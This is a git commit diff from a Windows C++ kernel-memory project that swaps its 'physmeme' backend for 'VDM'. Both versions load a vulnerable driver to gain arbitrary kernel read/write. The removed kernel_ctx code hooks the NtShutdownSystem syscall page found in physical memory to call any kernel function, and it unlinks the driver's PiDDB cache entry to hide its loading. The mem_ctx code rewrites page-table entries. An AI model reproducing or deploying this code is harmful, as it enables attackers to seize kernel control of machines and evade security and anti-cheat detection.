replaced physmeme with VDM... :^)

merge-requests/1/merge
xerox 4 years ago
parent 498006baec
commit 4c3be48919

@ -1,366 +0,0 @@
#include "kernel_ctx.h"
namespace nasa
{
kernel_ctx::kernel_ctx()
{
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
return;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
));
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_module_export(
"ntoskrnl.exe",
syscall_hook.first.data(),
true
));
nt_page_offset = nt_rva % PAGE_SIZE;
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{
//if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512)
{
auto page_va = nasa::map_phys(begin + nt_page_offset, end);
if (page_va)
{
// scan every page of the physical memory range
for (auto page = page_va; page < page_va + end; page += 0x1000)
{
if (!is_page_found.load()) // keep scanning until its found
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
nasa::unmap_phys(page_va, end);
}
}
else // else the range is bigger then 2mb
{
auto remainder = (begin + end) % (0x1000 * 512);
// loop over 2m chunks
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
{
auto page_va = nasa::map_phys(range + nt_page_offset, 0x1000 * 512);
if (page_va)
{
// loop every page of 2mbs (512)
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
{
if (!is_page_found.load())
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
nasa::unmap_phys(page_va, 0x1000 * 512);
}
}
// map the remainder and check each page of it
auto page_va = nasa::map_phys(begin + end - remainder + nt_page_offset, remainder);
if (page_va)
{
for (auto page = page_va; page < page_va + remainder; page += 0x1000)
{
if (!is_page_found.load())
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
nasa::unmap_phys(page_va, remainder);
}
}
}
PEPROCESS kernel_ctx::get_peprocess(DWORD pid) const
{
if (!pid)
return NULL;
PEPROCESS proc;
static auto get_peprocess_from_pid =
util::get_module_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId"
);
syscall<PsLookupProcessByProcessId>(
get_peprocess_from_pid,
(HANDLE)pid,
&proc
);
return proc;
}
void* kernel_ctx::get_proc_base(unsigned pid) const
{
if (!pid)
return {};
const auto peproc = get_peprocess(pid);
if (!peproc)
return {};
static auto get_section_base =
util::get_module_export(
"ntoskrnl.exe",
"PsGetProcessSectionBaseAddress"
);
return syscall<PsGetProcessSectionBaseAddress>(
get_section_base,
peproc
);
}
void kernel_ctx::rkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_module_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
{
syscall<decltype(&memcpy)>
(
mm_copy_memory,
buffer,
address,
size
);
}
}
void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_module_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
{
syscall<decltype(&memcpy)>
(
mm_copy_memory,
address,
buffer,
size
);
}
}
void* kernel_ctx::get_physical(void* virt_addr)
{
if (!virt_addr)
return NULL;
static auto mm_get_physical =
util::get_module_export(
"ntoskrnl.exe",
"MmGetPhysicalAddress"
);
return syscall<MmGetPhysicalAddress>(mm_get_physical, virt_addr);
}
void* kernel_ctx::get_virtual(void* addr)
{
if (!addr)
return NULL;
static auto mm_get_virtual =
util::get_module_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical"
);
PHYSICAL_ADDRESS phys_addr;
memcpy(&phys_addr, &addr, sizeof(addr));
return syscall<MmGetVirtualForPhysical>(mm_get_virtual,phys_addr);
}
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_module_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_module_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_module_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_module_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = rkm<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = rkm<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = rkm<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
wkm<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
wkm<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
}

@ -1,131 +0,0 @@
#pragma once
#include "../util/util.hpp"
#include "../physmeme/physmeme.hpp"
#include "../util/hook.hpp"
namespace nasa
{
//
// offset of function into a physical page
// used for comparing bytes when searching
//
inline std::uint16_t nt_page_offset{};
//
// rva of nt function we are going to hook
//
inline std::uint32_t nt_rva{};
//
// base address of ntoskrnl (inside of this process)
//
inline const std::uint8_t* ntoskrnl_buffer{};
//
// has the page been found yet?
//
inline std::atomic<bool> is_page_found = false;
//
// mapping of a syscalls physical memory (for installing hooks)
//
inline std::atomic<void*> psyscall_func{};
//
// last mapped virtual address and size
//
inline std::atomic<void*> last_mapped_virt = nullptr;
inline std::atomic<std::uint32_t> last_mapping_size;
//
// you can edit this how you choose, im hooking NtShutdownSystem.
//
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
class kernel_ctx
{
friend class mem_ctx;
public:
kernel_ctx();
//
// read kernel memory into buffer
//
void rkm(void* buffer, void* address, std::size_t size);
//
// write kernel memory from buffer
//
void wkm(void* buffer, void* address, std::size_t size);
template <class T>
T rkm(void* addr)
{
if (!addr)
return {};
T buffer;
rkm((void*)&buffer, addr, sizeof(T));
return buffer;
}
template <class T>
void wkm(void* addr, const T& data)
{
if (!addr)
return;
wkm((void*)&data, addr, sizeof(T));
}
//
// gets physical address from virtual
//
void* get_physical(void* virt_addr);
//
// uses the pfn database to get the virtual address
//
void* get_virtual(void* virt_addr);
//
// use this to call any function in the kernel
//
template <class T, class ... Ts>
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
GetModuleHandleA(syscall_hook.second.data()),
syscall_hook.first.data()
);
if (!proc || !psyscall_func || !addr)
return {};
hook::make_hook(psyscall_func, addr);
auto result = reinterpret_cast<T>(proc)(args ...);
hook::remove(psyscall_func);
return result;
}
//
// clear piddb cache of a specific driver
//
bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
private:
//
// find and map the physical page of a syscall into this process
//
void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
//
// get a pointer to an eprocess given process id.
//
PEPROCESS get_peprocess(DWORD pid) const;
//
// get base address of process (used to compare and ensure we find the right page).
//
void* get_proc_base(unsigned pid) const;
};
}

@ -1,43 +1,34 @@
#include <iostream>
#include "kernel_ctx/kernel_ctx.h"
#include "vdm_ctx/vdm_ctx.h"
#include "mem_ctx/mem_ctx.hpp"
int __cdecl main(int argc, char** argv)
{
if (!nasa::load_drv())
const auto [drv_handle, drv_key] = vdm::load_drv();
if (!drv_handle || drv_key.empty())
{
std::printf("[!] unable to load vulnerable driver... run as admin?\n");
std::printf("[!] unable to load vulnerable driver...\n");
return -1;
}
nasa::kernel_ctx kernel;
std::printf("[+] %s mapped physical page -> 0x%p\n", nasa::syscall_hook.first.data(), nasa::psyscall_func.load());
std::printf("[+] %s page offset -> 0x%x\n", nasa::syscall_hook.first.data(), nasa::nt_page_offset);
vdm::vdm_ctx vdm;
nasa::mem_ctx my_proc(vdm);
// clear piddb cache table entry for vulnerable driver...
if (kernel.clear_piddb_cache(nasa::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp))
std::printf("[+] Removed PIDDB Cache entry for physmeme driver...\n");
else
std::printf("[!] unable to clear PIDDB Cache entry for vulnerable driver...\n");
const auto ntoskrnl_base =
reinterpret_cast<void*>(
util::get_kmodule_base("ntoskrnl.exe"));
if (!nasa::unload_drv())
const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base);
std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
if (!vdm::unload_drv(drv_handle, drv_key))
{
std::printf("[!] unable to unload vulnerable driver... close all handles?\n");
std::printf("[!] unable to unload vulnerable driver...\n");
return -1;
}
const std::pair<unsigned, virt_addr_t> my_proc_data = { GetCurrentProcessId(),
virt_addr_t{ reinterpret_cast<void*>(util::get_kernel_module_base("ntoskrnl.exe")) } };
std::cout << "[+] my pid: " << std::hex << my_proc_data.first << std::endl;
std::cout << "[+] kernel base: " << std::showbase << std::hex << my_proc_data.second.value << std::endl;
nasa::mem_ctx my_proc(kernel, my_proc_data.first);
const auto ntoskrnl_pde = my_proc.get_pde(my_proc_data.second.value);
// ntoskrnl is allocated in 2mb large pages :)
std::printf("[+] page present -> %d\n", ntoskrnl_pde.second.present);
std::printf("[+] page frame number -> 0x%x\n", ntoskrnl_pde.second.pfn);
std::printf("[+] large page -> %d\n", ntoskrnl_pde.second.page_size);
std::cin.get();
my_proc.~mem_ctx(); //needs to be destroyed before vdm::vdm_ctx...
std::printf("[+] press any key to close...\n");
std::getchar();
}

@ -2,28 +2,29 @@
namespace nasa
{
mem_ctx::mem_ctx(kernel_ctx& krnl_ctx, DWORD pid)
mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid)
:
k_ctx(&krnl_ctx),
dirbase(get_dirbase(krnl_ctx, pid)),
v_ctx(&v_ctx),
dirbase(get_dirbase(v_ctx, pid)),
pid(pid)
{
// find an empty pml4e...
for (auto idx = 100u; idx > 0u; --idx)
if (!k_ctx->rkm<pml4e>(k_ctx->get_virtual((reinterpret_cast<::ppml4e>(get_dirbase()) + idx))).present)
this->pml4e_index = idx;
if (!v_ctx.rkm<pml4e>(v_ctx.get_virtual((
reinterpret_cast<std::uintptr_t>(get_dirbase()) + idx))).value)
this->pml4e_index = idx;
// allocate a pdpt
this->new_pdpt.second =
reinterpret_cast<ppdpte>(
VirtualAlloc(
NULL,
PAGE_SIZE,
PAGE_4KB,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
PAGE_IN(this->new_pdpt.second, PAGE_SIZE);
PAGE_IN(this->new_pdpt.second, PAGE_4KB);
// get page table entries for new pdpt
pt_entries new_pdpt_entries;
hyperspace_entries(new_pdpt_entries, new_pdpt.second);
@ -40,34 +41,29 @@ namespace nasa
reinterpret_cast<ppde>(
VirtualAlloc(
NULL,
PAGE_SIZE,
PAGE_4KB,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
PAGE_IN(this->new_pd.second, PAGE_SIZE);
//
PAGE_IN(this->new_pd.second, PAGE_4KB);
// get paging table entries for pd
//
pt_entries new_pd_entries;
hyperspace_entries(
new_pd_entries,
this->new_pd.second
);
hyperspace_entries(new_pd_entries, this->new_pd.second);
this->new_pd.first = reinterpret_cast<ppde>(new_pd_entries.pt.second.pfn << 12);
//
// make a new pt
//
this->new_pt.second =
reinterpret_cast<ppte>(
VirtualAlloc(
NULL,
PAGE_SIZE,
PAGE_4KB,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
PAGE_IN(this->new_pt.second, PAGE_SIZE);
PAGE_IN(this->new_pt.second, PAGE_4KB);
// get paging table entries for pt
pt_entries new_pt_entries;
@ -150,13 +146,13 @@ namespace nasa
return new_addr.value;
}
void* mem_ctx::get_dirbase(kernel_ctx& k_ctx, DWORD pid)
void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
{
const auto peproc =
reinterpret_cast<std::uint64_t>(k_ctx.get_peprocess(pid));
reinterpret_cast<std::uint64_t>(v_ctx.get_peprocess(pid));
pte dirbase = k_ctx.rkm<pte>(
reinterpret_cast<void*>(peproc + 0x28));
const auto dirbase =
v_ctx.rkm<pte>(peproc + 0x28);
return reinterpret_cast<void*>(dirbase.pfn << 12);
}
@ -168,39 +164,34 @@ namespace nasa
virt_addr_t virt_addr{ addr };
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
entries.pml4.second = k_ctx->rkm<pml4e>(
k_ctx->get_virtual(entries.pml4.first));
entries.pml4.second = v_ctx->rkm<pml4e>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pml4.first)));
if (!entries.pml4.second.value)
return false;
entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
entries.pdpt.second = k_ctx->rkm<pdpte>(
k_ctx->get_virtual(entries.pdpt.first));
entries.pdpt.second = v_ctx->rkm<pdpte>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pdpt.first)));
if (!entries.pdpt.second.value)
return false;
entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
entries.pd.second = k_ctx->rkm<pde>(
k_ctx->get_virtual(entries.pd.first));
entries.pd.second = v_ctx->rkm<pde>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pd.first)));
// if its a 2mb page
if (entries.pd.second.page_size)
if (entries.pd.second.large_page)
{
memcpy(
&entries.pt.second,
&entries.pd.second,
sizeof(pte)
);
entries.pt.second.value = entries.pd.second.value;
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value);
return true;
}
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index;
entries.pt.second = k_ctx->rkm<pte>(
k_ctx->get_virtual(entries.pt.first));
entries.pt.second = v_ctx->rkm<pte>(
v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pt.first)));
if (!entries.pt.second.value)
return false;
@ -214,7 +205,7 @@ namespace nasa
return {};
pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr)))
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pt.first, entries.pt.second };
return {};
}
@ -225,7 +216,7 @@ namespace nasa
return;
if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pte);
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pte);
else
write_phys(addr, pte);
}
@ -236,7 +227,7 @@ namespace nasa
return {};
pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr)))
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pd.first, entries.pd.second };
return {};
}
@ -247,7 +238,7 @@ namespace nasa
return;
if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pde);
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pde);
else
write_phys(addr, pde);
}
@ -258,7 +249,7 @@ namespace nasa
return {};
pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr)))
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pdpt.first, entries.pdpt.second };
return {};
}
@ -269,7 +260,7 @@ namespace nasa
return;
if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pdpte);
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pdpte);
else
write_phys(addr, pdpte);
}
@ -280,7 +271,7 @@ namespace nasa
return {};
pt_entries entries;
if ((use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr)))
if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pml4.first, entries.pml4.second };
return {};
}
@ -291,7 +282,7 @@ namespace nasa
return;
if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pml4e);
v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pml4e);
else
write_phys(addr, pml4e);
}
@ -302,7 +293,7 @@ namespace nasa
return {};
virt_addr_t virt_addr{ addr };
if (size <= PAGE_SIZE - virt_addr.offset)
if (size <= PAGE_4KB - virt_addr.offset)
{
pt_entries entries;
read_phys
@ -325,7 +316,7 @@ namespace nasa
(
buffer,
addr,
PAGE_SIZE - virt_addr.offset
PAGE_4KB - virt_addr.offset
);
// forward work load
@ -333,7 +324,7 @@ namespace nasa
(
new_buffer_addr,
new_addr,
size - (PAGE_SIZE - virt_addr.offset)
size - (PAGE_4KB - virt_addr.offset)
);
}
}
@ -344,7 +335,7 @@ namespace nasa
return {};
virt_addr_t virt_addr{ addr };
if (size <= PAGE_SIZE - virt_addr.offset)
if (size <= PAGE_4KB - virt_addr.offset)
{
pt_entries entries;
write_phys
@ -367,7 +358,7 @@ namespace nasa
(
buffer,
addr,
PAGE_SIZE - virt_addr.offset
PAGE_4KB - virt_addr.offset
);
// forward work load
@ -375,7 +366,7 @@ namespace nasa
(
new_buffer_addr,
new_addr,
size - (PAGE_SIZE - virt_addr.offset)
size - (PAGE_4KB - virt_addr.offset)
);
}
}
@ -386,8 +377,12 @@ namespace nasa
return;
const auto temp_page = set_page(addr);
if (temp_page)
__try
{
memcpy(buffer, temp_page, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
}
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
@ -396,8 +391,12 @@ namespace nasa
return;
const auto temp_page = set_page(addr);
if (temp_page)
__try
{
memcpy(temp_page, buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
}
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
@ -406,9 +405,8 @@ namespace nasa
return {};
const virt_addr_t virt_addr{ addr };
//
// traverse paging tables
//
auto pml4e = read_phys<::pml4e>(
reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index);

@ -1,53 +1,29 @@
#pragma once
#include "../util/nt.hpp"
#include "../kernel_ctx/kernel_ctx.h"
#define PAGE_IN(addr, size) memset(addr, NULL, size)
struct pt_entries
{
std::pair<ppml4e, pml4e> pml4;
std::pair<ppdpte, pdpte> pdpt;
std::pair<ppde, pde> pd;
std::pair<ppte, pte> pt;
};
#include "../vdm_ctx/vdm_ctx.h"
namespace nasa
{
class mem_ctx
{
public:
explicit mem_ctx(kernel_ctx& k_ctx, DWORD pid = GetCurrentProcessId());
explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId());
~mem_ctx();
//
// PTE manipulation
//
std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false);
void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
//
// PDE manipulation
//
std::pair<ppde, pde> get_pde(void* addr, bool use_hyperspace = false);
void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
//
// PDPTE manipulation
//
std::pair<ppdpte, pdpte> get_pdpte(void* addr, bool use_hyperspace = false);
void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
//
// PML4E manipulation
//
std::pair<ppml4e, pml4e> get_pml4e(void* addr, bool use_hyperspace = false);
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
//
// gets dirbase (not the PTE or PFN but actual physical address)
//
void* get_dirbase() const;
static void* get_dirbase(kernel_ctx& k_ctx, DWORD pid);
static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
void read_phys(void* buffer, void* addr, std::size_t size);
void write_phys(void* buffer, void* addr, std::size_t size);
@ -72,28 +48,20 @@ namespace nasa
std::pair<void*, void*> write_virtual(void* buffer, void* addr, std::size_t size);
template <class T>
T read_virtual(void* addr)
__forceinline T read_virtual(void* addr)
{
if (!addr) return {};
T buffer;
read_virtual((void*)&buffer, addr, sizeof(T));
return buffer;
}
template <class T>
void write_virtual(void* addr, const T& data)
__forceinline void write_virtual(void* addr, const T& data)
{
write_virtual((void*)&data, addr, sizeof(T));
}
//
// linear address translation (not done by hyperspace mappings)
//
void* virt_to_phys(pt_entries& entries, void* addr);
//
// these are used for the pfn backdoor, this will be removed soon
//
void* set_page(void* addr);
void* get_page() const;
unsigned get_pid() const;
@ -104,16 +72,15 @@ namespace nasa
pte operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
private:
//
// given an address fill pt entries with physical addresses and entry values.
//
bool hyperspace_entries(pt_entries& entries, void* addr);
void* dirbase;
kernel_ctx* k_ctx;
std::uint16_t pml4e_index, pdpte_index, pde_index, pte_index, page_offset;
vdm::vdm_ctx* v_ctx;
std::uint16_t pml4e_index,
pdpte_index,
pde_index,
pte_index,
page_offset;
/// first == physical
/// second == virtual
std::pair<ppdpte, ppdpte> new_pdpt;
std::pair<ppde,ppde> new_pd;
std::pair<ppte, ppte> new_pt;

@ -43,7 +43,7 @@
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
@ -114,8 +114,9 @@
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@ -128,7 +129,7 @@
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
@ -140,17 +141,18 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="kernel_ctx\kernel_ctx.cpp" />
<ClCompile Include="mem_ctx\mem_ctx.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="mem_ctx\mem_ctx.cpp" />
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="kernel_ctx\kernel_ctx.h" />
<ClInclude Include="mem_ctx\mem_ctx.hpp" />
<ClInclude Include="physmeme\physmeme.hpp" />
<ClInclude Include="util\hook.hpp" />
<ClInclude Include="util\loadup.hpp" />
<ClInclude Include="util\nt.hpp" />
<ClInclude Include="util\util.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" />
<ClInclude Include="vdm_ctx\vdm_ctx.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

@ -9,54 +9,45 @@
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Header Files\kernel_ctx">
<UniqueIdentifier>{b1b1b386-6e81-4378-af50-faf1da26ac11}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\mem_ctx">
<UniqueIdentifier>{a3e9626a-4a02-4ccc-9ca5-ea0221e5f7a6}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\physmeme">
<UniqueIdentifier>{386a4809-95d0-4148-9522-3db261038525}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\util">
<UniqueIdentifier>{669c9412-63ea-4a6d-8f8e-b51706f33769}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\kernel_ctx">
<UniqueIdentifier>{3441fbff-b750-4ab4-930e-939e58952231}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\mem_ctx">
<UniqueIdentifier>{ef9fee49-4247-409d-b7ab-93aea9926910}</UniqueIdentifier>
<Filter Include="Header Files\vdm">
<UniqueIdentifier>{96d7e756-9d5b-4c3c-b594-aff6db3f2d51}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="kernel_ctx\kernel_ctx.cpp">
<Filter>Source Files\kernel_ctx</Filter>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="mem_ctx\mem_ctx.cpp">
<Filter>Source Files\mem_ctx</Filter>
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="main.cpp">
<ClCompile Include="mem_ctx\mem_ctx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="kernel_ctx\kernel_ctx.h">
<Filter>Header Files\kernel_ctx</Filter>
</ClInclude>
<ClInclude Include="mem_ctx\mem_ctx.hpp">
<Filter>Header Files\mem_ctx</Filter>
</ClInclude>
<ClInclude Include="util\hook.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="util\nt.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="util\util.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="physmeme\physmeme.hpp">
<Filter>Header Files\physmeme</Filter>
<ClInclude Include="vdm\raw_driver.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm\vdm.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm_ctx\vdm_ctx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="mem_ctx\mem_ctx.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="util\loadup.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
</ItemGroup>
</Project>

@ -1,92 +0,0 @@
#pragma once
#include <windows.h>
#include <mutex>
#include <cstdint>
